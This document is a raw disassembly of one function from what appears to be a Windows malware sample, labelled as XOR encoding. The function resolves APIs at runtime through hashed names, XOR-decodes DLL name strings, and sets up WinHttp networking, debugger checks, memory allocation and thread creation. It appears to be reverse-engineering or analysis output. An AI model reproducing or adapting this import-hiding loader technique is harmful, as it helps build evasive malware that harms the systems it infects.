Function at 0x140001644
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r15
push rbp
mov rbp, rsp
sub rsp, 0x60
xor esi, esi
mov rdi, rcx
mov qword [rcx], rsi
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], rsi
mov qword [rcx + 0x20], rsi
call fcn.140001330
mov r8d, 0xde0d96ef
mov qword [rdi + 0x70], rax
lea rdx, str.LoadLibraryA
mov rbx, rax
lea rcx, [rbp - 0x40]
call fcn.140002634
mov rcx, rax
call fcn.140002838
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov r8d, 0xeaaac95f
mov qword [rdi + 0xc0], rax
lea rdx, str.winhttp.dll
mov rbx, rax
lea rcx, [rbp - 0x40]
call fcn.1400025a0
mov rcx, rax
call fcn.14000281c
call rbx
mov rbx, qword [rdi + 0xc0]
lea rdx, str.advapi32.dll
mov r8d, 0x7982d3a9
mov qword [rdi + 8], rax
lea rcx, [rbp - 0x40]
call fcn.140002634
mov rcx, rax
call fcn.140002838
call rbx
mov r10, qword [rdi + 0xc0]
lea r15, [0x140000000]
mov qword [rdi + 0x10], rax
mov r9d, esi
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x30], eax
mov word [rbp - 0x2c], ax
mov cl, r9b
or cl, 0xa5
mov r8b, cl
movsx eax, cl
not r8b
xor r8d, eax
movsx eax, cl
and r8d, 0x13
xor r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub r8d, eax
mov al, byte [r9 + r15 + 0x6098]
xor al, r8b
mov byte [rbp + r9 - 0x35], r8b
mov byte [rbp + r9 - 0x40], al
inc r9
cmp r9, 0xb
jb 0x140001724
lea rcx, [rbp - 0x40]
call fcn.140002800
lea rcx, [rbp - 0x40]
call r10
mov rbx, qword [rdi + 0xc0]
lea rdx, str.NtDll.dll
mov r8d, 0xa662ebd9
mov qword [rdi + 0x18], rax
lea rcx, [rbp - 0x40]
call fcn.140001264
mov rcx, rax
call fcn.140001314
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.AllocConsole
mov r8d, 0x6f7a6b56
mov qword [rdi + 0x20], rax
lea rcx, [rbp - 0x40]
call fcn.140002634
mov rcx, rax
call fcn.140002838
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.AttachConsole
mov r8d, 0xb5136024
mov qword [rdi + 0x28], rax
lea rcx, [rbp - 0x40]
call fcn.14000250c
mov rcx, rax
call fcn.1400027e4
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.CloseHandle
mov r8d, 0x51b7105f
mov qword [rdi + 0x30], rax
lea rcx, [rbp - 0x40]
call fcn.1400025a0
mov rcx, rax
call fcn.14000281c
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.CreateFileA
mov r8d, 0x4cec087b
mov qword [rdi + 0x38], rax
lea rcx, [rbp - 0x40]
call fcn.1400025a0
mov rcx, rax
call fcn.14000281c
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.CreateThread
mov r8d, 0xf67ffcb
mov qword [rdi + 0x40], rax
lea rcx, [rbp - 0x40]
call fcn.140002634
mov rcx, rax
call fcn.140002838
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rcx, [rbp - 0x40]
xor edx, edx
mov qword [rdi + 0x48], rax
lea r8d, [rdx + 0x32]
call fcn.1400049b0
mov r8, rsi
movsx ecx, r8b
mov eax, 0x80808081
and ecx, 0xffffffec
or ecx, 0x24
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov al, byte [r8 + r15 + 0x6110]
xor al, cl
mov byte [rbp + r8 - 0x27], cl
mov byte [rbp + r8 - 0x40], al
inc r8
cmp r8, 0x19
jb 0x1400018b7
lea rcx, [rbp - 0x40]
call fcn.1400027c8
mov rcx, qword [rdi]
lea rdx, [rbp - 0x40]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.ExitProcess
mov r8d, 0xead90e19
mov qword [rdi + 0x50], rax
lea rcx, [rbp - 0x40]
call fcn.1400025a0
mov rcx, rax
call fcn.14000281c
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, [0x140006140]
mov r8d, 0xff61a60
mov qword [rdi + 0x58], rax
lea rcx, [rbp - 0x40]
call fcn.140002634
mov rcx, rax
call fcn.140002838
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.GetProcAddress
mov r8d, 0xddbded81
mov qword [rdi + 0x68], rax
lea rcx, [rbp - 0x40]
call fcn.1400011c8
mov rcx, rax
call fcn.1400012f8
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov r8d, 0x69dd5f99
mov qword [rdi + 0x70], rax
lea rdx, str.GetProcessHeap
mov rbx, rax
lea rcx, [rbp - 0x40]
call fcn.1400011c8
mov rcx, rax
call fcn.1400012f8
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.GetStdHandle
mov r8d, 0xcd99f04
mov qword [rdi + 0x78], rax
lea rcx, [rbp - 0x40]
call fcn.140002634
mov rcx, rax
call fcn.140002838
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.GetSystemInfo
mov r8d, 0xd52f3e35
mov qword [rdi + 0x80], rax
lea rcx, [rbp - 0x40]
call fcn.14000250c
mov rcx, rax
call fcn.1400027e4
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.GetTickCount64
mov r8d, 0xee5653ec
mov qword [rdi + 0x88], rax
lea rcx, [rbp - 0x40]
call fcn.1400011c8
mov rcx, rax
call fcn.1400012f8
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.GlobalMemoryStatusEx
mov r8d, 0xf780a0a8
mov qword [rdi + 0x90], rax
lea rcx, [rbp - 0x40]
call fcn.140002474
mov rcx, rax
call fcn.1400027ac
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.HeapAlloc
mov r8d, 0xe41dceab
mov qword [rdi + 0x98], rax
lea rcx, [rbp - 0x40]
call fcn.140001264
mov rcx, rax
call fcn.140001314
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.HeapFree
mov r8d, 0x9260219
mov qword [rdi + 0xa0], rax
lea rcx, [rbp - 0x40]
call fcn.1400023e0
mov rcx, rax
call fcn.140002790
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.HeapReAlloc
mov r8d, 0x85a6d813
mov qword [rdi + 0xa8], rax
lea rcx, [rbp - 0x40]
call fcn.1400025a0
mov rcx, rax
call fcn.14000281c
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.IsDebuggerPresent
mov r8d, 0xede5906
mov qword [rdi + 0xb0], rax
lea rcx, [rbp - 0x40]
call fcn.140002348
mov rcx, rax
call fcn.140002774
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.LoadLibraryA
mov r8d, 0x1c2b30dd
mov qword [rdi + 0xb8], rax
lea rcx, [rbp - 0x40]
call fcn.140002634
mov rcx, rax
call fcn.140002838
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.MultiByteToWideChar
mov r8d, 0x3c34aaeb
mov qword [rdi + 0xc0], rax
lea rcx, [rbp - 0x40]
call fcn.1400022b0
mov rcx, rax
call fcn.140002758
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
mov r8d, 0xdb5db883
mov qword [rdi + 0xc8], rax
lea rdx, str.Process32FirstW
lea rcx, [rbp - 0x40]
call fcn.140002218
mov rcx, rax
call fcn.14000273c
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.Process32NextW
mov r8d, 0xeb126b5
mov qword [rdi + 0xd0], rax
lea rcx, [rbp - 0x40]
call fcn.1400011c8
mov rcx, rax
call fcn.1400012f8
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.SetStdHandle
mov r8d, 0xfad524e8
mov qword [rdi + 0xd8], rax
lea rcx, [rbp - 0x40]
call fcn.140002634
mov rcx, rax
call fcn.140002838
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov r10, qword [rdi + 0x70]
mov r9, rsi
mov qword [rdi + 0xe0], rax
xor eax, eax
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x38], eax
mov cl, r9b
or cl, 0xbd
mov r8b, cl
movsx eax, cl
not r8b
xor r8d, eax
movsx eax, cl
and r8d, 0x13
xor r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub r8d, eax
mov al, byte [r9 + r15 + 0x6230]
xor al, r8b
mov byte [rbp + r9 - 0x3a], r8b
mov byte [rbp + r9 - 0x40], al
inc r9
cmp r9, 6
jb 0x140001c53
lea rcx, [rbp - 0x40]
call fcn.140002720
mov rcx, qword [rdi]
lea rdx, [rbp - 0x40]
call r10
mov rbx, qword [rdi + 0x70]
lea rdx, str.VirtualAlloc
mov r8d, 0xaed2219d
mov qword [rdi + 0xe8], rax
lea rcx, [rbp - 0x40]
call fcn.140002634
mov rcx, rax
call fcn.140002838
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.WaitForSingleObject
mov r8d, 0xceb90a32
mov qword [rdi + 0xf0], rax
lea rcx, [rbp - 0x40]
call fcn.1400022b0
mov rcx, rax
call fcn.140002758
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.WideCharToMultiByte
mov r8d, 0x3a1cbeff
mov qword [rdi + 0xf8], rax
lea rcx, [rbp - 0x40]
call fcn.1400022b0
mov rcx, rax
call fcn.140002758
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.WriteConsoleW
mov r8d, 0x7bdd74bf
mov qword [rdi + 0x100], rax
lea rcx, [rbp - 0x40]
call fcn.14000250c
mov rcx, rax
call fcn.1400027e4
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.lstrcmpA
mov r8d, 0x1ea5bd29
mov qword [rdi + 0x108], rax
lea rcx, [rbp - 0x40]
call fcn.1400023e0
mov rcx, rax
call fcn.140002790
mov rdx, rcx
mov rcx, qword [rdi]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.CryptAcquireContextW
mov r8d, 0x1ce09bb
mov qword [rdi + 0x110], rax
lea rcx, [rbp - 0x40]
call fcn.140002474
mov rcx, rax
call fcn.1400027ac
mov rdx, rcx
mov rcx, qword [rdi + 0x10]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.CryptCreateHash
mov r8d, 0x3458c1d
mov qword [rdi + 0x118], rax
lea rcx, [rbp - 0x40]
call fcn.140002218
mov rcx, rax
call fcn.14000273c
mov rdx, rcx
mov rcx, qword [rdi + 0x10]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.CryptDestroyHash
mov r8d, 0x6f3fde51
mov qword [rdi + 0x120], rax
lea rcx, [rbp - 0x40]
call fcn.140002180
mov rcx, rax
call fcn.140002704
mov rdx, rcx
mov rcx, qword [rdi + 0x10]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.CryptGetHashParam
mov r8d, 0x1214ce54
mov qword [rdi + 0x128], rax
lea rcx, [rbp - 0x40]
call fcn.140002348
mov rcx, rax
call fcn.140002774
mov rdx, rcx
mov rcx, qword [rdi + 0x10]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.CryptHashData
mov r8d, 0x65d5ccab
mov qword [rdi + 0x130], rax
lea rcx, [rbp - 0x40]
call fcn.14000250c
mov rcx, rax
call fcn.1400027e4
mov rdx, rcx
mov rcx, qword [rdi + 0x10]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.CryptReleaseContext
mov r8d, 0xfe3cb6f6
mov qword [rdi + 0x138], rax
lea rcx, [rbp - 0x40]
call fcn.1400022b0
mov rcx, rax
call fcn.140002758
mov rdx, rcx
mov rcx, qword [rdi + 0x10]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.WinHttpCloseHandle
mov r8d, 0xd2fdecd0
mov qword [rdi + 0x140], rax
lea rcx, [rbp - 0x40]
call fcn.1400020e8
mov rcx, rax
call fcn.1400026e8
mov rdx, rcx
mov rcx, qword [rdi + 8]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.WinHttpConnect
mov r8d, 0x550cde8f
mov qword [rdi + 0x148], rax
lea rcx, [rbp - 0x40]
call fcn.1400011c8
mov rcx, rax
call fcn.1400012f8
mov rdx, rcx
mov rcx, qword [rdi + 8]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.WinHttpOpen
mov r8d, 0xce03aac8
mov qword [rdi + 0x150], rax
lea rcx, [rbp - 0x40]
call fcn.1400025a0
mov rcx, rax
call fcn.14000281c
mov rdx, rcx
mov rcx, qword [rdi + 8]
call rbx
mov rbx, qword [rdi + 0x70]
mov r8d, 0xd0890957
mov qword [rdi + 0x158], rax
lea rdx, str.WinHttpOpenRequest
lea rcx, [rbp - 0x40]
call fcn.1400020e8
mov rcx, rax
call fcn.1400026e8
mov rdx, rcx
mov rcx, qword [rdi + 8]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.WinHttpReadData
mov r8d, 0x41ded303
mov qword [rdi + 0x160], rax
lea rcx, [rbp - 0x40]
call fcn.140002218
mov rcx, rax
call fcn.14000273c
mov rdx, rcx
mov rcx, qword [rdi + 8]
call rbx
mov rbx, qword [rdi + 0x70]
lea rcx, [rbp - 0x40]
xor edx, edx
mov qword [rdi + 0x168], rax
lea r8d, [rdx + 0x2e]
call fcn.1400049b0
mov cl, sil
or cl, 0x46
mov r8b, cl
movsx eax, cl
not r8b
xor r8d, eax
movsx eax, cl
and r8d, 0x13
xor r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub r8d, eax
mov al, byte [rsi + r15 + 0x63c0]
xor al, r8b
mov byte [rbp + rsi - 0x29], r8b
mov byte [rbp + rsi - 0x40], al
inc rsi
cmp rsi, 0x17
jb 0x140001ff3
lea rcx, [rbp - 0x40]
call fcn.1400026cc
mov rcx, qword [rdi + 8]
lea rdx, [rbp - 0x40]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.WinHttpSendRequest
mov r8d, 0xc98bb806
mov qword [rdi + 0x170], rax
lea rcx, [rbp - 0x40]
call fcn.1400020e8
mov rcx, rax
call fcn.1400026e8
mov rdx, rcx
mov rcx, qword [rdi + 8]
call rbx
mov rbx, qword [rdi + 0x70]
lea rdx, str.WinHttpSetOption
mov r8d, 0x6ef68552
mov qword [rdi + 0x178], rax
lea rcx, [rbp - 0x40]
call fcn.140002180
mov rcx, rax
call fcn.140002704
mov rdx, rcx
mov rcx, qword [rdi + 8]
call rbx
lea r11, [rsp + 0x60]
mov qword [rdi + 0x180], rax
mov rbx, qword [r11 + 0x10]
mov rax, rdi
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r15, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret